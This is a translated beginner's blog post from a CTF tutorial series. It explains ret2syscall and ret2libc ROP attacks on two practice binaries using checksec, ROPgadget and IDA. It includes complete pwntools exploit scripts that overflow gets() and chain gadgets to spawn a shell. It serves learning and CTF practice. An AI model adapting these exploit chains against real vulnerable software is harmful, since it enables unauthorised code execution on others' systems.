Introduction to pwn (3): Buffer overflow ROP attack (ret2syscall+ret2libc)

The first two blogs talked about understanding the environment configuration of pwn questions and the principle of ROP attacks, as well as the two most basic ROP attack questions. For details, see:

( 59 messages ) Getting started with pwn (1): Kali configuration related environment (pwntools+gdb+peda) ret2text+ret2shellcode)_Bossfrank's blog-CSDN blog In this section, we will continue to introduce two basic examples of ROP attacks.

ret2syscall    

The binary download link is click here to download ret2syscall 

Like ret2text and ret2shellcode, we first detect the protection enabled by the program, command (rename the binary program to ret2syscall):

checksec ret2syscall

It is found that the NX protection measures  are enabled , and the source program is 32-bit :

 View IDA pro (press F5), there is also an overflow point gets function:

 Then we searched again to see if there are any features like syscall function and '/bin/sh' string that can be used, and found that there is indeed a '/bin/sh' string located at 0x080be408

Of course, you can also use ROPgadget to search for '/bin/sh', the command is as follows:

ROPgadget --binary ret2syscall --string '/bin/sh'

 You can also find the address of the string, which is 0x080be408

 Then it seems that there is nothing else of value to use directly. We can try to use system calls, but how to pass parameters to syscall? Use the gadgets in the program to piece together, and finally piece together the system call to realize getshell .

The system call of Linux on x86 is implemented through int 80h interrupt, and the system call number is used to distinguish the entry function. The basic process of the operating system to implement system calls is:

  1. The application calls the library function (API);
  2. The API stores the system call number in EAX, and then makes the system enter the kernel mode through an interrupt call;
  3. The interrupt processing function in the kernel calls the corresponding kernel function (system call) according to the system call number;
  4. The system call completes the corresponding function, stores the return value in EAX, and returns to the interrupt processing function;
  5. The interrupt handler returns to the API;
  6. The API returns EAX to the application.

The process by which an application invokes a system call is :

  1. Store the number of the system call in EAX ;
  2. Store function arguments in other general-purpose registers (ebx, ecx, edx, etc.);
  3. Trigger interrupt number 0x80 (int 0x80).

Simply put, as long as we put the parameters corresponding to the system call to obtain the shell into the corresponding register, then we can execute the corresponding system call when we execute int 0x80 . Here we plan to use the system call to obtain the shell as:

execve("/bin/sh",NULL,NULL)

In a 32-bit system, the system call number of execve is 11 (the system call number can be seen from the system call number ), that is, 0xb in hexadecimal. We only need to assign the value of eax to 0xb to realize the system call of execve, and then we It is also necessary to pass parameters to this system call. The parameters to be passed are "/bin/sh", NULL, and NULL. The passed parameters are realized by the values ​​​​stored in registers ebx, ecx, and edx. Therefore, we want to implement execve( "/bin/sh",NULL,NULL), need to meet:

  •  eax should be 0xb (system call number of execve)
  • The first parameter, ebx should point to the address of /bin/sh
  • The second parameter, ecx should be 0
  • The third parameter, edx should be 0

 After figuring this out, the question becomes how to make the values ​​of the four registers eax, ebx, ecx, and edx correspond to what we want ( 0xb , the address of '/bin/sh' 0x080be408 , 0 , 0 )

Here you need to use gadgets. For example, the top of the stack is 10 now, so if pop eax is executed at this time, the value of eax is now 10. But we can't expect a continuous piece of code to control the corresponding registers at the same time, so we need to control it piece by piece, which is why we use ret at the end of gadgets to control the program execution flow again. That is, after popping the register, ret returns to the program execution flow, and then assigns a value to the popped register, and then executes the next pop, ret, and assigns a value to the register. Specifically looking for gadgets, we use the tool ropgadgets again.

First find the position of the statement like pop eax ret, the command is:

ROPgadget --binary ret2syscall --only 'pop|ret' | grep eax

 As shown in the figure above, there are several choices, so let’s choose the second one. This instruction only operates on pop and will not affect other registers. Remember that the address of this instruction is 0x080bb196. Similarly, let's look for the pop operation on ebx again, the command is:

ROPgadget --binary ret2syscall --only 'pop|ret' | grep ebx

 It is found that the instruction of 0x0806eb90 is very ideal. It directly pops out edx, ecx, and ebx in sequence, and can directly control the three registers. Then we will choose this one, so we don’t need to search for pop ecx and edx commands anymore, very nice!

In addition, the address of int 0x80 needs to be searched (why to find int 0x80? Because the application system call process will trigger the int 0x80 interrupt at the end), the command is:

ROPgadget --binary ret2syscall  --only 'int'

 The address of int_0x80 is found to be x08049421.

We have seen the address of /bin/sh with IDA before, it is 0x80be408, so far, we have found all the gadgets to be used. The overflow can be performed. The idea of ​​the overflow of these gadgets constructed in this article is as follows (it is recommended to read it several times if you don’t understand):

 Of course, if the addresses of the previously selected instructions are different, there are other overwriting ideas, such as the following figure:

 Oh, by the way, the length of the garbage data is the same as the offset of the two topics in my last blog, which is still 112. How did this number come out? You can read the previous blog (59 messages) Introduction to pwn ( 2 ): The principle of ROP attack, buffer overflow exploit (ret2text+ret2shellcode)_Bossfrank's Blog-CSDN Blog

 Therefore, referring to the figure below, the payload structure is as follows:

payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)

Then we can write the exploit code, ret2syscall_exp.py is as follows:

from pwn import *

sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = b'A' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

As shown in the figure, run this code and get the shell successfully! Run ls here, you can see the corresponding file

 ret2libc1

The binary download link is click here to download ret2libc1

The first step is still to detect the protections enabled by the program:

checksec ret2libc1

 It is found that the source program is 32-bit, and the NX protection is turned on

 

 Looking at IDA pro, there are also gets that can overflow:

 Look at the secure() function again, and find that there is a system call, but the parameter is not '/bin/sh'

 Check the location of the plt entry of the system, which is 08048460:

 Using ropgadget, we can see if '/bin/sh' exists:

ROPgadget --binary ret2libc1 --string '/bin/sh'

It is found, as shown in the figure, its address is 08048720, of course, it is the same to search in IDA.

 At this point, the elements are complete, including system() and the string '/bin/sh'. Our attack idea is as follows:

1. Find the PLT entry of system()

2. Find out the address of the '/bin/sh' string

3. Construct the stack frame of system, let the return address of main() be the plt address of system, and directly complete system('/bin/sh')

The schematic diagram of the coverage idea is as follows:

 The length offset of the garbage data here is the same as before, which is 112. The "random 32-digit number" in the figure is the return address of the system function, and I don't care how much it is here (because once the system('/bin/ sh'), we can use 'bbbb' as a substitute, and then the parameter of the system function is the address of '/bin/sh', so the corresponding payload is:

payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)

 Then now you can write the exploit code, ret2libc1_exp.py looks like this:

from pwn import *

sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

After running, the shell was successfully obtained, as shown in the figure below:

So far, the ROP attack is successful.

epilogue 

I am also a rookie just getting started in network security, and I just learned the basic knowledge of buffer overflow, so I feel quite interesting after doing a few basic questions, so I write a blog to make a record. Comparing to the basic ROP when reproducing for the first time - CTF Wiki (ctf-wiki.org)

I ran the code once, and it succeeded directly, but I don’t quite understand the principle of overwriting, including why the value of the register is set in this way, and the process of calling, passing parameters, and returning the function is not very clear. Later, I also communicated with friends around , It was only when I wrote a blog again that the principle suddenly became clear.

This section uses two examples of ret2tsyscall and ret2libc1 to introduce the basic ROP attack process for readers. In the next section, we will continue to introduce basic ROP knowledge topics through other examples. Stay tuned, I hope you will pay more attention and support!

Guess you like

Origin blog.csdn.net/Bossfrank/article/details/130229459